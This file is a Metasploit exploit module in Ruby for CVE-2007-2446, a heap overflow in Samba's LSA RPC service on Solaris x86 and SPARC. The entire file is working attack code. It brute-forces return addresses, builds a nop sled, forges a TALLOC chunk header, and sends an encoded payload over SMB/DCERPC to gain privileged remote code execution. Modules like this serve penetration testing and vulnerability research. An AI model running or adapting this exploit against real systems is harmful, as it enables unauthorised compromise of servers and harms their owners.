require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba lsa_io_trans_names Heap Overflow',
'Description'=> %q{
This module triggers a heap overflow in the LSA RPC service
of the Samba daemon. This module uses the TALLOC chunk overwrite
method (credit Ramon and Adriano), which only works with Samba
versions 3.0.21-3.0.24. Additionally, this module will not work
when the Samba "log level" parameter is higher than "2".
},
'Author' =>
[
'ramon',
'Adriano Lima <adriano@risesecurity.org>',
'hdm'
],
'License'=> MSF_LICENSE,
'Version'=> '$Revision: 9021 $',
'References' =>
[
['CVE', '2007-2446'],
['OSVDB', '34699'],
],
'Privileged' => true,
'Payload'=>
{
'Space'=> 1024,
},
'Platform' => 'solaris',
'Targets'=>
[
['Solaris 8/9/10 x86 Samba 3.0.21-3.0.24',
{
'Platform'=> 'solaris',
'Arch'=> [ ARCH_X86 ],
'Nops'=> 64 * 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x082f2000 },
'Stop'=> { 'Ret' => 0x084f2000 },
'Step'=> 60 * 1024,
}
}
],
['Solaris 8/9/10 SPARC Samba 3.0.21-3.0.24',
{
'Platform'=> 'solaris',
'Arch'=> [ ARCH_SPARC ],
'Nops'=> 64 * 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x00322000 },
'Stop'=> { 'Ret' => 0x00722000 },
'Step'=> 60 * 1024,
}
}
],
['DEBUG',
{
'Platform'=> 'solaris',
'Arch'=> [ ARCH_X86 ],
'Nops'=> 64 * 1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xaabbccdd },
'Stop'=> { 'Ret' => 0xaabbccdd },
'Step'=> 60 * 1024,
}
}
],
],
'DisclosureDate' => 'May 14 2007',
'DefaultTarget'=> 0
))
register_options(
[
OptString.new('SMBPIPE', [ true,"The pipe name to use", 'LSARPC']),
], self.class)
end
def autofilter
false
end
def brute_exploit(target_addrs)
if(not @nops)
if (target['Nops'] > 0)
print_status("Creating nop sled....")
@nops = make_nops(target['Nops'])
else
@nops = ''
end
end
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
nops = @nops
pipe = datastore['SMBPIPE'].downcase
print_status("Connecting to the SMB service...")
connect()
smb_login()
datastore['DCERPC::fake_bind_multi'] = false
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
num_entries= 272
num_entries2 = 288
buf = (('A' * 16) * num_entries)
buf << 'A' * 8
talloc_magic = "\x70\xec\x14\xe8"
buf << 'A' * 8
buf << NDR.long(0) + NDR.long(0)
buf << NDR.long(0)
buf << [target_addrs['Ret']].pack('V')
buf << 'A' * 4
buf << 'A' * 4
buf << talloc_magic
stub = lsa_open_policy(dcerpc)
stub << NDR.long(0)
stub << NDR.long(0)
stub << NDR.long(num_entries)
stub << NDR.long(0x20004)
stub << NDR.long(num_entries2)
stub << buf
stub << nops
stub << payload.encoded
print_status("Calling the vulnerable function...")
begin
dcerpc.call(0x0f, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
print_status('Server did not respond, this is expected')
rescue Rex::Proto::DCERPC::Exceptions::Fault
print_error('Server is most likely patched...')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_status('Server disconnected, this is expected')
else
print_error("Error: #{e.class}: #{e}")
end
end
handler
disconnect
end
def lsa_open_policy(dcerpc, server="\\")
stubdata =
NDR.uwstring(server) +
NDR.long(24) +
NDR.long(0)+
NDR.long(0)+
NDR.long(0)+
NDR.long(0)+
NDR.long(1)+
NDR.long(12) +
NDR.long(2)+
NDR.long(1)+
NDR.long(0)+
NDR.long(0x02000000)
res = dcerpc.call(6, stubdata)
dcerpc.last_response.stub_data[0,20]
end
end